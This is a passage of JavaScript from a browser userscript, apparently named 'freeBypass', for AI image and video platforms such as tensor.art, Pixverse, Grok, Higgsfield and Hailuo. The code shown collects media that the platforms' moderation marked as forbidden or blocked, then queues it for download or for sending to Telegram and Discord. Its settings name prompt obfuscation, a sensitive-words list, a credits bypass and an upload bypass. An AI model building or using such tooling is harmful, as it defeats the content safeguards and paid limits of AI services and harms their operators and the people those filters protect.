video.playsInline = true;
video.style.cssText = 'max-width: 100%; max-height: 100%; border-radius: 8px; background: #000;';
mediaWrap.innerHTML = '';
mediaWrap.appendChild(video);
} else {
const img = document.createElement('img');
img.src = url;
img.style.cssText = 'max-width: 100%; max-height: 100%; object-fit: contain; border-radius: 8px;';
mediaWrap.innerHTML = '';
mediaWrap.appendChild(img);
}
};
dialog.appendChild(header);
dialog.appendChild(mediaWrap);
dialog.appendChild(footer);
overlay.appendChild(dialog);
document.body.appendChild(overlay);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
renderMedia().catch(() => {
mediaWrap.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px;">Preview unavailable</div>`;
});
}
function showProfileFullscreenDialog(profileName) {
const profileItems = getProfileFlattenedItems(profileName);
const profiles = getTaskProfiles();
const profile = profiles[profileName];
const colors = getThemeColors();
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
inset: 0;
z-index: 10000002;
background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.92))' : 'rgba(2, 6, 23, 0.96)'};
backdrop-filter: blur(8px);
display: flex;
flex-direction: column;
color: ${colors.text};
`;
const header = document.createElement('div');
header.style.cssText = `display:flex; gap:12px; align-items:center; justify-content:space-between; padding:14px 18px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
header.innerHTML = `
<div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
<div style="font-weight:700; font-size:16px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; color:${colors.text};"><i class="fas fa-layer-group" style="margin-right:8px; color:${colors.primary};"></i>${escapeHtml(profileName)}</div>
<div style="font-size:12px; color:${colors.textSecondary};">${profileItems.length} item(s) • ${profile?.tasks?.length || 0} task(s)</div>
</div>
`;
const closeBtn = document.createElement('button');
closeBtn.className = 'bypass-btn bypass-btn-secondary';
closeBtn.style.cssText = 'width:auto; padding:8px 12px;';
closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
closeBtn.onclick = () => overlay.remove();
header.appendChild(closeBtn);
const actions = document.createElement('div');
actions.style.cssText = `display:flex; flex-wrap:wrap; gap:8px; align-items:center; padding:10px 18px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
const selected = new Set();
let query = '';
const searchInput = document.createElement('input');
searchInput.type = 'text';
searchInput.placeholder = 'Search by task ID, date, image ID, MIME, filename...';
searchInput.style.cssText = `min-width:260px; flex:1; padding:8px 10px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
actions.appendChild(searchInput);
const mkActionBtn = (label, icon, onClick) => {
const btn = document.createElement('button');
btn.className = 'bypass-btn bypass-btn-secondary';
btn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
btn.innerHTML = `<i class="${icon}"></i> ${label}`;
btn.onclick = onClick;
return btn;
};
const enqueueAction = (action, list) => {
const allowDuplicate = !settings.preventDuplicateTasks;
list.forEach(item => enqueueTaskAction(action, item.id, getItemMetaFromId(item.id), allowDuplicate));
processTaskActionQueue();
updateGlobalActionProgressFromQueue();
showToast(`Queued ${list.length} item(s) for ${action}`, 'success');
};
const exportAsJson = (list, filename) => {
const payload = {
profileName,
exportedAt: new Date().toISOString(),
count: list.length,
items: list
};
const blob = new Blob([JSON.stringify(payload, null, 2)], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
};
const copyAsText = async (list) => {
const lines = [];
for (const item of list) {
const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
if (url) lines.push(url);
}
if (!lines.length) {
showToast('No URLs available to copy', 'warning');
return;
}
if (navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(lines.join('\n'));
}
showToast(`Copied ${lines.length} URL(s)`, 'success');
};
if (settings.telegramEnabled && settings.telegramChatId) {
actions.appendChild(mkActionBtn('Send Telegram', 'fab fa-telegram', () => enqueueAction('telegram', filteredItems())));
}
if (settings.discordEnabled && settings.discordWebhook) {
actions.appendChild(mkActionBtn('Send Discord', 'fab fa-discord', () => enqueueAction('discord', filteredItems())));
}
actions.appendChild(mkActionBtn('Download', 'fas fa-download', () => enqueueAction('download', filteredItems())));
actions.appendChild(mkActionBtn('Export All', 'fas fa-file-export', () => {
exportAsJson(filteredItems(), `${sanitizeFilename(profileName)}_all.json`);
showToast('Exported profile items', 'success');
}));
actions.appendChild(mkActionBtn('Export Selected', 'fas fa-file-export', () => {
const list = filteredItems().filter(item => selected.has(item.id));
if (!list.length) {
showToast('No selected items', 'warning');
return;
}
exportAsJson(list, `${sanitizeFilename(profileName)}_selected.json`);
showToast('Exported selected items', 'success');
}));
actions.appendChild(mkActionBtn('Copy Selected', 'fas fa-copy', async () => {
const list = filteredItems().filter(item => selected.has(item.id));
if (!list.length) {
showToast('No selected items', 'warning');
return;
}
await copyAsText(list);
}));
const body = document.createElement('div');
body.style.cssText = `flex:1; overflow:auto; padding:14px 18px; background:${colors.bg};`;
const grid = document.createElement('div');
grid.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap:12px;';
body.appendChild(grid);
const filteredItems = () => {
const q = query.trim().toLowerCase();
if (!q) return profileItems;
return profileItems.filter(item => {
const created = normalizeTimestamp(item.createdAt);
const expires = normalizeTimestamp(item.expireAt);
const haystack = [
item.id,
item.taskId,
item.mimeType,
item.downloadFileName,
item.width && item.height ? `${item.width}x${item.height}` : '',
created ? new Date(created).toLocaleString() : '',
expires ? new Date(expires).toLocaleString() : ''
].join(' ').toLowerCase();
return haystack.includes(q);
});
};
const render = () => {
const list = filteredItems();
grid.innerHTML = '';
if (!list.length) {
const empty = document.createElement('div');
empty.style.cssText = `padding:24px; color:${colors.textSecondary}; font-size:12px; grid-column:1/-1; text-align:center;`;
empty.textContent = 'No items match your search.';
grid.appendChild(empty);
return;
}
list.forEach(item => {
const card = document.createElement('div');
card.style.cssText = `
background: ${colors.bgSecondary};
border: 1px solid ${selected.has(item.id) ? colors.primary : colors.border};
border-radius: 10px;
overflow: hidden;
display: flex;
flex-direction: column;
min-height: 250px;
cursor: pointer;
`;
const media = document.createElement('div');
media.style.cssText = `height:150px; background:${colors.bg}; display:flex; align-items:center; justify-content:center; overflow:hidden; cursor: zoom-in; position: relative;`;
// Show placeholder initially
media.innerHTML = `<i class="fas ${item.mimeType?.startsWith('video/') ? 'fa-video' : 'fa-image'}" style="font-size:28px; color:${colors.textSecondary}; opacity:0.6;"></i>`;
const renderPreview = async () => {
const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
if (!url || !media.isConnected) return;
if (item.mimeType?.startsWith('video/')) {
const video = document.createElement('video');
video.src = url;
video.muted = true;
video.playsInline = true;
video.preload = 'metadata';
video.style.cssText = 'width:100%; height:100%; object-fit:cover; position:absolute; top:0; left:0;';
video.onloadedmetadata = () => {
try {
video.currentTime = 0.01;
} catch {
// noop
}
};
video.onseeked = () => video.pause();
video.oncanplay = () => video.pause();
media.appendChild(video);
} else {
const img = document.createElement('img');
img.src = url;
img.style.cssText = 'width:100%; height:100%; object-fit:cover; position:absolute; top:0; left:0;';
img.onload = () => {
// Image loaded successfully - icon will be hidden by absolute positioning
};
img.onerror = () => {
// Keep icon visible if image fails to load
img.remove();
};
media.appendChild(img);
}
};
renderPreview().catch(() => {
// Keep icon visible if preview fails
});
media.onclick = async (e) => {
e.stopPropagation();
const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
if (!url) {
showToast('Preview unavailable for this item', 'warning');
return;
}
showProfileMediaPreviewDialog({ ...item, url }, colors);
};
const meta = document.createElement('div');
meta.style.cssText = `padding:10px; display:grid; gap:4px; font-size:11px; color:${colors.textSecondary};`;
const created = normalizeTimestamp(item.createdAt);
meta.innerHTML = `
<div style="font-weight:600; font-size:12px; color:${colors.text}; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(item.id)}</div>
<div>Task: ${escapeHtml(item.taskId || 'N/A')}</div>
<div>${escapeHtml(item.mimeType || 'unknown')}</div>
<div>${created ? escapeHtml(new Date(created).toLocaleString()) : 'N/A'}</div>
`;
card.onclick = () => {
if (selected.has(item.id)) selected.delete(item.id);
else selected.add(item.id);
render();
};
card.addEventListener('contextmenu', (e) => {
e.preventDefault();
clearContextMenu();
const menu = document.createElement('div');
menu.style.cssText = `position:fixed; top:${e.clientY}px; left:${e.clientX}px; z-index:10000003; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:8px; min-width:190px; padding:6px; box-shadow:0 12px 30px rgba(0,0,0,0.4);`;
const addMenuItem = (label, fn) => {
const row = document.createElement('div');
row.style.cssText = `padding:8px 10px; border-radius:6px; cursor:pointer; font-size:12px; color:${colors.text};`;
row.textContent = label;
row.onmouseenter = () => { row.style.background = settings.inheritTheme ? 'var(--background-tertiary, rgba(99,102,241,0.2))' : 'rgba(99,102,241,0.2)'; };
row.onmouseleave = () => { row.style.background = 'transparent'; };
row.onclick = async () => { await fn(); clearContextMenu(); };
menu.appendChild(row);
};
addMenuItem('Select all visible', () => { filteredItems().forEach(i => selected.add(i.id)); render(); });
addMenuItem('Clear selection', () => { selected.clear(); render(); });
addMenuItem('Export all visible', () => {
exportAsJson(filteredItems(), `${sanitizeFilename(profileName)}_all.json`);
showToast('Exported all visible items', 'success');
});
addMenuItem('Export selected', () => {
const list = filteredItems().filter(i => selected.has(i.id));
if (!list.length) {
showToast('No selected items', 'warning');
return;
}
exportAsJson(list, `${sanitizeFilename(profileName)}_selected.json`);
showToast('Exported selected items', 'success');
});
addMenuItem('Copy as text (all visible)', async () => { await copyAsText(filteredItems()); });
addMenuItem('Copy as text (selected)', async () => {
const list = filteredItems().filter(i => selected.has(i.id));
if (!list.length) {
showToast('No selected items', 'warning');
return;
}
await copyAsText(list);
});
document.body.appendChild(menu);
activeContextMenu = menu;
setTimeout(() => {
window.addEventListener('click', () => clearContextMenu(), { once: true });
}, 0);
});
card.appendChild(media);
card.appendChild(meta);
grid.appendChild(card);
});
};
searchInput.addEventListener('input', () => {
query = searchInput.value;
render();
});
overlay.appendChild(header);
overlay.appendChild(actions);
overlay.appendChild(body);
document.body.appendChild(overlay);
render();
}
function saveSettings() {
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
persistSharedNotificationSettings();
persistSharedExternalPlatformSettings();
if (settings.tensorhubShareSettings) {
syncSettingsAcrossDomains();
}
}
function readSharedScriptStoreSync(key, fallback) {
try {
if (typeof GM_getValue === 'function') {
const raw = GM_getValue(key, null);
if (raw != null) return raw;
}
} catch {
// ignore
}
try {
const raw = localStorage.getItem(key);
if (!raw) return fallback;
return JSON.parse(raw);
} catch {
return fallback;
}
}
function writeSharedScriptStore(key, value) {
try {
if (typeof GM_setValue === 'function') {
GM_setValue(key, value);
}
} catch {
// ignore
}
try {
if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
GM.setValue(key, value).catch(() => {});
}
} catch {
// ignore
}
try {
localStorage.setItem(key, JSON.stringify(value));
} catch {
// ignore
}
}
function buildSharedExternalPlatformSettingsPayload() {
const payload = {};
EXTERNAL_PLATFORM_SHARED_SETTING_KEYS.forEach((key) => {
const value = settings[key];
if (Array.isArray(value)) {
payload[key] = value.slice();
} else if (value && typeof value === 'object') {
payload[key] = JSON.parse(JSON.stringify(value));
} else {
payload[key] = value;
}
});
return payload;
}
function normalizeSharedExternalPlatformSettings(raw) {
if (!raw || typeof raw !== 'object') return null;
const booleanKeys = [
'showPixverseUi',
'showGrokUi',
'showHiggsfieldUi',
'showHailuoUi',
'pixverseEnableUiLogs',
'pixverseEnablePromptObfuscation',
'pixverseEnableCreditsBypass',
'pixverseEnableUploadBypass',
'pixverseEnableWatermarkButton',
'pixverseCaptureMediaLinks',
'grokEnableUiLogs',
'grokInterceptorEnabled',
'grokCaptureMediaLinks',
'higgsfieldEnableUiLogs',
'higgsfieldEnablePromptObfuscation',
'higgsfieldCaptureJobs',
'higgsfieldCaptureSouls',
'higgsfieldAutoRefreshItems',
'hailuoEnableUiLogs',
'hailuoCaptureMediaLinks',
'hailuoAutoRefreshItems'
];
const numberKeys = ['pixverseMaxLogs', 'grokMaxLogs', 'higgsfieldMaxLogs', 'hailuoMaxLogs'];
const normalized = {};
booleanKeys.forEach((key) => {
if (typeof raw[key] === 'boolean') normalized[key] = raw[key];
});
numberKeys.forEach((key) => {
if (typeof raw[key] === 'number' && Number.isFinite(raw[key])) {
normalized[key] = raw[key];
}
});
if (Array.isArray(raw.pixverseSensitiveWords)) {
normalized.pixverseSensitiveWords = raw.pixverseSensitiveWords.map(v => String(v || '').trim()).filter(Boolean);
}
return normalized;
}
function applySharedExternalPlatformSettings(payload) {
const normalized = normalizeSharedExternalPlatformSettings(payload);
if (!normalized) return false;
let changed = false;
Object.entries(normalized).forEach(([key, value]) => {
const nextValue = Array.isArray(value) ? value.slice() : value;
if (JSON.stringify(settings[key]) !== JSON.stringify(nextValue)) {
settings[key] = nextValue;
changed = true;
}
});
return changed;
}
function loadSharedExternalPlatformSettings() {
const raw = readSharedScriptStoreSync(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, null);
if (!raw) return false;
const changed = applySharedExternalPlatformSettings(raw);
if (changed) {
try {
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
} catch {
// ignore
}
}
return changed;
}
function persistSharedExternalPlatformSettings() {
writeSharedScriptStore(EXTERNAL_PLATFORM_SETTINGS_STORE_KEY, buildSharedExternalPlatformSettingsPayload());
}
function getCurrentExternalUiSettingKey() {
if (IS_PIXVERSE_DOMAIN) return 'showPixverseUi';
if (IS_GROK_DOMAIN) return 'showGrokUi';
if (IS_HIGGSFIELD_DOMAIN) return 'showHiggsfieldUi';
if (IS_HAILUO_DOMAIN) return 'showHailuoUi';
return null;
}
function shouldShowUiOnCurrentDomain() {
if (IS_TENSOR_DOMAIN) return true;
if (IS_DIGEN_DOMAIN) return !!showUIOnOtherPlatfrms;
const key = getCurrentExternalUiSettingKey();
if (!key) return true;
return !!showUIOnOtherPlatfrms && !!settings[key];
}
function buildSharedNotificationSettingsPayload() {
return {
telegramEnabled: !!settings.telegramEnabled,
telegramToken: String(settings.telegramToken || ''),
telegramChatId: String(settings.telegramChatId || ''),
discordEnabled: !!settings.discordEnabled,
discordWebhook: String(settings.discordWebhook || '')
};
}
function normalizeSharedNotificationPayload(raw) {
if (!raw || typeof raw !== 'object') return null;
return {
telegramEnabled: typeof raw.telegramEnabled === 'boolean' ? raw.telegramEnabled : undefined,
telegramToken: typeof raw.telegramToken === 'string' ? raw.telegramToken : undefined,
telegramChatId: typeof raw.telegramChatId === 'string' ? raw.telegramChatId : undefined,
discordEnabled: typeof raw.discordEnabled === 'boolean' ? raw.discordEnabled : undefined,
discordWebhook: typeof raw.discordWebhook === 'string' ? raw.discordWebhook : undefined
};
}
function readSharedNotificationPayloadSync() {
try {
if (typeof GM_getValue !== 'function') return null;
const raw = GM_getValue(SHARED_NOTIFICATIONS_STORE_KEY, null);
if (!raw) return null;
if (typeof raw === 'string') {
return normalizeSharedNotificationPayload(JSON.parse(raw));
}
return normalizeSharedNotificationPayload(raw);
} catch {
return null;
}
}
function applySharedNotificationPayload(payload) {
const data = normalizeSharedNotificationPayload(payload);
if (!data) return false;
let changed = false;
const apply = (key, value) => {
if (value === undefined) return;
if (settings[key] !== value) {
settings[key] = value;
changed = true;
}
};
apply('telegramEnabled', data.telegramEnabled);
apply('telegramToken', data.telegramToken);
apply('telegramChatId', data.telegramChatId);
apply('discordEnabled', data.discordEnabled);
apply('discordWebhook', data.discordWebhook);
return changed;
}
function persistSharedNotificationSettings() {
const payload = buildSharedNotificationSettingsPayload();
try {
if (typeof GM_setValue === 'function') {
GM_setValue(SHARED_NOTIFICATIONS_STORE_KEY, payload);
}
} catch {
// ignore
}
try {
if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
GM.setValue(SHARED_NOTIFICATIONS_STORE_KEY, payload).catch(() => {});
}
} catch {
// ignore
}
}
function bootstrapSharedNotificationSettings() {
const globalPayload = readSharedNotificationPayloadSync();
if (globalPayload) {
const changed = applySharedNotificationPayload(globalPayload);
if (changed) {
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
}
return;
}
// First run / migration: seed global store from current local settings.
persistSharedNotificationSettings();
}
function loadTaskActions() {
if (taskActionsCache) return taskActionsCache;
try {
taskActionsCache = JSON.parse(localStorage.getItem(TASK_ACTIONS_KEY) || '{}');
} catch {
taskActionsCache = {};
}
if (!Array.isArray(taskActionsCache.items)) taskActionsCache.items = [];
if (typeof taskActionsCache.paused !== 'boolean') taskActionsCache.paused = false;
return taskActionsCache;
}
function saveTaskActions() {
localStorage.setItem(TASK_ACTIONS_KEY, JSON.stringify(taskActionsCache || { items: [], paused: false }));
}
function getItemMetaFromId(imageId) {
const meta = itemMap.get(imageId) || {};
return {
imageId,
taskId: meta.taskId || meta.routeId || null,
mimeType: meta.mimeType || 'image/*',
width: meta.width || null,
height: meta.height || null,
downloadFileName: meta.downloadFileName || null,
workflowTemplateInfo: meta.workflowTemplateInfo || null,
workflowInfo: meta.workflowInfo || null,
visualParameters: meta.visualParameters || [],
parameters: meta.parameters || null,
workspaceType: meta.workspaceType || null
};
}
function findTaskActionEntry(action, imageId) {
const cache = loadTaskActions();
return cache.items.find(entry => entry.action === action && entry.imageId === imageId) || null;
}
function upsertTaskAction(entry) {
const cache = loadTaskActions();
const existingIndex = cache.items.findIndex(item => item.action === entry.action && item.imageId === entry.imageId);
if (existingIndex >= 0) {
cache.items[existingIndex] = { ...cache.items[existingIndex], ...entry, updatedAt: Date.now() };
} else {
cache.items.unshift({ ...entry, createdAt: Date.now(), updatedAt: Date.now() });
}
saveTaskActions();
if (isExpanded) {
updateHomeProgressUI();
updateTasksTabUI();
refreshSelectionUI();
}
}
function enqueueTaskAction(action, imageId, meta = {}, allowDuplicate = false) {
if (!imageId || !action) return false;
const existing = findTaskActionEntry(action, imageId);
if (!allowDuplicate && existing && ['queued', 'in-progress', 'done'].includes(existing.status)) {
return false;
}
upsertTaskAction({
action,
imageId,
status: 'queued',
attempts: 0,
nextRunAt: null,
error: null,
...meta
});
updateGlobalActionProgressFromQueue();
processTaskActionQueue();
return true;
}
function markTaskActionDone(action, imageId, status = 'done', meta = {}) {
if (!imageId || !action) return;
upsertTaskAction({
action,
imageId,
status,
...meta
});
if (status === 'failed') {
updateMediaStatus(imageId, {
[`${action}Error`]: true,
lastError: meta?.error || 'Failed'
});
}
if (status === 'done') {
updateMediaStatus(imageId, {
[`${action}Error`]: false,
lastError: null
});
}
updateGlobalActionProgressFromQueue();
}
function getTaskActionStats() {
const cache = loadTaskActions();
const total = cache.items.length;
const queued = cache.items.filter(item => item.status === 'queued').length;
const inProgress = cache.items.filter(item => item.status === 'in-progress').length;
const failed = cache.items.filter(item => item.status === 'failed').length;
const done = cache.items.filter(item => item.status === 'done').length;
const current = cache.items.find(item => item.status === 'in-progress') || null;
return { total, queued, inProgress, failed, done, current };
}
function getTaskActionStatsForTask(taskId) {
if (!taskId) return null;
const cache = loadTaskActions();
const items = cache.items.filter(item => item.taskId === taskId);
if (!items.length) return { total: 0, queued: 0, inProgress: 0, done: 0, failed: 0, current: null };
const queued = items.filter(item => item.status === 'queued').length;
const inProgress = items.filter(item => item.status === 'in-progress').length;
const failed = items.filter(item => item.status === 'failed').length;
const done = items.filter(item => item.status === 'done').length;
const current = items.find(item => item.status === 'in-progress') || null;
return { total: items.length, queued, inProgress, failed, done, current };
}
function getTaskActionLabel(action) {
if (action === 'telegram') return 'Sending TG';
if (action === 'discord') return 'Sending Discord';
if (action === 'download') return 'Downloading';
return 'Processing';
}
function updateTaskActionPanelsStatus() {
const panels = document.querySelectorAll('[data-bypass-task-actions]');
if (!panels.length) return;
panels.forEach(panel => {
const taskId = panel.getAttribute('data-bypass-task-actions');
if (!taskId) return;
const statusEl = panel.querySelector('[data-bypass-task-action-status]');
if (!statusEl) return;
const stats = getTaskActionStatsForTask(taskId);
if (!stats || !stats.total) {
statusEl.textContent = 'Ready';
return;
}
const completed = stats.done + stats.failed;
if (stats.current) {
const label = getTaskActionLabel(stats.current.action);
statusEl.textContent = `${label}… (${completed}/${stats.total})${stats.failed ? ` • Failed ${stats.failed}` : ''}`;
return;
}
if (stats.queued > 0) {
statusEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
return;
}
statusEl.textContent = stats.failed
? `Completed ${stats.done}/${stats.total} • Failed ${stats.failed}`
: `Completed ${stats.done}/${stats.total} • Success`;
});
}
function updateGlobalActionProgressFromQueue() {
updateTaskActionPanelsStatus();
const stats = getTaskActionStats();
const progressBar = document.querySelector('.bypass-global-progress');
if (!progressBar) return;
const textEl = progressBar.querySelector('[data-bypass-progress-text]');
const barEl = progressBar.querySelector('[data-bypass-progress-bar]');
const previewHost = progressBar.querySelector('[data-bypass-progress-preview]');
const completed = stats.done + stats.failed;
const percent = stats.total ? Math.round((completed / stats.total) * 100) : 0;
const activeCount = stats.queued + stats.inProgress;
if (!activeCount) {
progressBar.style.display = 'none';
if (textEl) textEl.textContent = 'Idle';
if (barEl) barEl.style.width = '0%';
if (previewHost) previewHost.style.display = 'none';
return;
}
progressBar.style.display = 'block';
if (textEl) {
if (stats.current) {
textEl.textContent = `Processing ${stats.current.action.toUpperCase()} • ${stats.current.imageId} (${completed}/${stats.total})`;
} else if (stats.total) {
textEl.textContent = `Queued ${stats.queued} • Done ${stats.done} • Failed ${stats.failed}`;
} else {
textEl.textContent = 'Idle';
}
}
if (barEl) barEl.style.width = `${percent}%`;
if (previewHost) {
const current = stats.current;
if (!settings.showDownloadPreview || !current || !['download', 'telegram', 'discord'].includes(current.action)) {
previewHost.style.display = 'none';
} else {
previewHost.style.display = 'block';
previewHost.innerHTML = '';
const wrap = document.createElement('div');
wrap.className = 'bypass-download-preview';
const mediaWrap = document.createElement('div');
mediaWrap.className = 'bypass-download-preview-media';
mediaWrap.textContent = 'Loading...';
const info = document.createElement('div');
info.style.cssText = 'display:flex; flex-direction:column; gap:4px; font-size:11px; color:#94a3b8;';
const actionLabel = current.action === 'telegram'
? 'Sending to Telegram'
: current.action === 'discord'
? 'Sending to Discord'
: 'Downloading';
info.innerHTML = `
<div><strong style="color:#cbd5e1;">${actionLabel}</strong></div>
<div>ID: ${current.imageId}</div>
`;
wrap.appendChild(mediaWrap);
wrap.appendChild(info);
previewHost.appendChild(wrap);
const updateMedia = (url) => {
if (!url || downloadPreviewCache.imageId !== current.imageId) {
mediaWrap.textContent = 'Preview unavailable';
return;
}
const isVideo = current.mimeType?.startsWith('video/');
mediaWrap.innerHTML = '';
if (isVideo) {
const vid = document.createElement('video');
vid.src = url;
vid.muted = true;
vid.autoplay = true;
vid.loop = true;
vid.playsInline = true;
mediaWrap.appendChild(vid);
} else {
const img = document.createElement('img');
img.src = url;
mediaWrap.appendChild(img);
}
};
if (downloadPreviewCache.imageId === current.imageId && downloadPreviewCache.url) {
updateMedia(downloadPreviewCache.url);
} else {
downloadPreviewCache = { imageId: current.imageId, url: null, mimeType: current.mimeType || '' };
ensureDownloadUrl(current.imageId, current.mimeType || '').then(url => {
downloadPreviewCache.url = url;
updateMedia(url);
});
}
}
}
}
async function processTaskActionQueue() {
const cache = loadTaskActions();
if (taskActionProcessing || cache.paused) return;
const now = Date.now();
const queued = cache.items.filter(item => item.status === 'queued');
const next = queued.find(item => !item.nextRunAt || Number(item.nextRunAt) <= now) || null;
if (!next) {
// Everything queued is waiting for a future time.
const nextTs = queued
.map(item => Number(item.nextRunAt) || 0)
.filter(ts => ts > now)
.sort((a, b) => a - b)[0];
if (nextTs) {
if (taskActionQueueWakeTimer) clearTimeout(taskActionQueueWakeTimer);
const delay = Math.max(50, Math.min(60 * 1000, nextTs - now));
taskActionQueueWakeTimer = setTimeout(() => {
taskActionQueueWakeTimer = null;
processTaskActionQueue();
}, delay);
}
return;
}
// If we found a runnable item, clear any stale wake timer.
if (taskActionQueueWakeTimer) {
clearTimeout(taskActionQueueWakeTimer);
taskActionQueueWakeTimer = null;
}
taskActionProcessing = true;
next.status = 'in-progress';
next.updatedAt = Date.now();
saveTaskActions();
updateGlobalActionProgressFromQueue();
if (isExpanded) {
updateHomeProgressUI();
updateTasksTabUI();
refreshSelectionUI();
}
const scheduleRetry = (errorMessage, retryAfterMs = null) => {
const attempt = (Number(next.attempts) || 0) + 1;
const maxRetries = clampNumber(settings.queueMaxRetries, 0, 25, 2);
const autoRetry = !!settings.queueAutoRetry;
const meta = getItemMetaFromId(next.imageId);
if (!autoRetry || attempt > maxRetries) {
markTaskActionDone(next.action, next.imageId, 'failed', { ...meta, error: errorMessage || 'Failed' });
return;
}
const computedDelay = computeBackoffMs(attempt, settings.queueRetryBaseDelayMs, settings.queueRetryMaxDelayMs, settings.queueRetryJitterMs);
const delay = Number.isFinite(Number(retryAfterMs)) ? clampNumber(retryAfterMs, 0, 24 * 60 * 60 * 1000, computedDelay) : computedDelay;
upsertTaskAction({
action: next.action,
imageId: next.imageId,
status: 'queued',
attempts: attempt,
error: errorMessage || null,
nextRunAt: Date.now() + delay
});
devLog('queue', 'Scheduled retry for task action', { action: next.action, imageId: next.imageId, attempt, delayMs: delay, error: errorMessage }, 'warning', 'developer');
};
try {
const meta = getItemMetaFromId(next.imageId);
if (next.action === 'download') {
await downloadMediaById(next.imageId, next.mimeType || meta.mimeType);
markTaskActionDone('download', next.imageId, 'done', { ...meta, attempts: next.attempts || 0, nextRunAt: null, error: null });
}
if (next.action === 'telegram') {
const url = await ensureDownloadUrl(next.imageId, next.mimeType || meta.mimeType || '');
if (!url) throw new Error('No URL');
const size = meta.width && meta.height ? `${meta.width}x${meta.height}` : '';
const result = await sendToTelegram(url, next.mimeType || meta.mimeType, meta.taskId, null, size, next.imageId, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (result?.ok) {
markTaskActionDone('telegram', next.imageId, 'done', { ...meta, sentMode: result.mode || 'media', attempts: next.attempts || 0, nextRunAt: null, error: null });
} else {
scheduleRetry(result?.error || 'Telegram send failed', result?.retryAfterMs || null);
}
}
if (next.action === 'discord') {
const url = await ensureDownloadUrl(next.imageId, next.mimeType || meta.mimeType || '');
if (!url) throw new Error('No URL');
const size = meta.width && meta.height ? `${meta.width}x${meta.height}` : '';
const result = await sendToDiscord(url, next.mimeType || meta.mimeType, meta.taskId, null, size, next.imageId, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (result?.ok) {
markTaskActionDone('discord', next.imageId, 'done', { ...meta, sentMode: result.mode || 'media', attempts: next.attempts || 0, nextRunAt: null, error: null });
} else {
scheduleRetry(result?.error || 'Discord send failed', result?.retryAfterMs || null);
}
}
} catch (err) {
scheduleRetry(err?.message || String(err) || 'Failed');
} finally {
taskActionProcessing = false;
updateGlobalActionProgressFromQueue();
processTaskActionQueue();
}
}
function cacheTasks(tasks) {
if (!Array.isArray(tasks) || tasks.length === 0) return;
let cache = {};
try {
cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY)) || {};
} catch {
cache = {};
}
for (const task of tasks) {
if (!task) continue;
const key = task.taskId || task.routeId;
if (!key) continue;
cache[key] = task; // update/overwrite
}
localStorage.setItem(TASK_CACHE_KEY, JSON.stringify(cache));
}
function mergeTasksIntoItems(tasks, sourceLabel, options = {}) {
if (!Array.isArray(tasks) || tasks.length === 0) return { added: 0, updated: 0 };
const { autoShow = settings.autoShowPanel, updateUIAfter = true } = options;
const itemMapLocal = new Map(itemsData.map(item => [item.id, item]));
let added = 0;
let updated = 0;
for (const task of tasks) {
recordTaskData(task);
if (!task?.items?.length) continue;
for (const currentItem of task.items) {
if (!isForbidden(currentItem) && !currentItem?.blockedOnOrigin) continue;
blockedItems.add(currentItem.imageId);
const existing = itemMapLocal.get(currentItem.imageId);
const nextData = {
id: currentItem.imageId,
mimeType: currentItem.mimeType,
type: getItemType(currentItem.mimeType),
taskId: task.routeId || task.taskId || 'N/A',
createdAt: task.createdAt || null,
expiresAt: task.expireAt || task.expiresAt || null,
width: currentItem.width,
height: currentItem.height,
url: existing?.url || null,
downloadFileName: currentItem.downloadFileName || existing?.downloadFileName || null,
workflowTemplateInfo: task.workflowTemplateInfo || existing?.workflowTemplateInfo || null,
visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : (existing?.visualParameters || []),
parameters: task.parameters || existing?.parameters || null,
workspaceType: task.workspaceType || existing?.workspaceType || null
};
if (existing) {
Object.assign(existing, nextData);
updated += 1;
} else {
itemMapLocal.set(currentItem.imageId, nextData);
added += 1;
}
}
}
if (added > 0 || updated > 0) {
itemsData = Array.from(itemMapLocal.values()).sort((a, b) => b.id.localeCompare(a.id));
updateCollapseBtnWithItems();
if (added > 0 && domInjectDebug) {
console.log(`[InjectDOM][${sourceLabel}] New blocked items`, added);
}
if (autoShow && added > 0 && !isExpanded) {
toggleExpand();
}
if (updateUIAfter) {
updateUI();
}
}
return { added, updated };
}
function loadTasksFromCache() {
let cache = {};
try {
cache = JSON.parse(localStorage.getItem(TASK_CACHE_KEY)) || {};
} catch {
cache = {};
}
const tasks = Object.values(cache);
if (!tasks.length) return false;
logActiveTokenUsage('loadTasksFromCache');
const result = mergeTasksIntoItems(tasks, 'Cache', { autoShow: false, updateUIAfter: false });
return result.added > 0 || result.updated > 0;
}
function startAutoCheck() {
